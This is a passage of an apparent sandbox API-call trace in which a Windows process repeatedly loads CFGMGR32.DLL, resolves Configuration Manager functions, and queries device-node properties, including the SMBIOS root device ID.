GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.537] malloc (_Size=0x18) returned 0x196ef0d1e60 [0232.538] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.538] malloc (_Size=0x48) returned 0x196ef0fb270 [0232.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b75b20a, dwHighDateTime=0x1d9eb0c)) [0232.538] SetEvent (hEvent=0x248) returned 1 [0232.541] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.541] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.544] malloc (_Size=0x18) returned 0x196ef0d1c60 [0232.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.545] malloc (_Size=0x48) returned 0x196ef0fb590 [0232.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b75b20a, dwHighDateTime=0x1d9eb0c)) [0232.545] SetEvent (hEvent=0x248) returned 1 [0232.548] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.548] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.552] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0232.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.552] malloc (_Size=0x48) returned 0x196ef0fbb30 [0232.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b7818d6, dwHighDateTime=0x1d9eb0c)) [0232.552] SetEvent (hEvent=0x248) returned 1 [0232.558] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.558] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.561] malloc (_Size=0x18) returned 0x196ef0d1f20 [0232.562] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.566] malloc (_Size=0x48) returned 0x196ef0fbc70 [0232.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b7a75fe, dwHighDateTime=0x1d9eb0c)) [0232.566] SetEvent (hEvent=0x248) returned 1 [0232.570] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.570] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.575] malloc (_Size=0x18) returned 0x196ef0d1b00 [0232.575] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x39, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0232.575] malloc (_Size=0x48) returned 0x196ef0fbd10 [0232.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6b7a75fe, dwHighDateTime=0x1d9eb0c)) [0232.576] SetEvent (hEvent=0x248) returned 1 [0232.644] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.644] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.648] malloc (_Size=0x18) returned 0x196ef0d1a20 [0232.648] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x39, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0232.649] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0232.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6b866300, dwHighDateTime=0x1d9eb0c)) [0232.649] SetEvent (hEvent=0x248) returned 1 [0232.653] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.653] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.658] malloc (_Size=0x18) returned 0x196ef0d1d60 [0232.658] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0232.658] malloc (_Size=0x48) returned 0x196ef0fbf40 [0232.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b88c5a0, dwHighDateTime=0x1d9eb0c)) [0232.659] SetEvent (hEvent=0x248) returned 1 [0232.666] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.666] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.670] malloc (_Size=0x18) returned 0x196ef0d1980 [0232.671] CM_Get_Device_IDA (in: dnDevInst=0x3a, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\MSSMBIOS\\0000") returned 0x0 [0232.671] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0232.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6b88c5a0, dwHighDateTime=0x1d9eb0c)) [0232.671] SetEvent (hEvent=0x248) returned 1 [0232.675] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.675] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 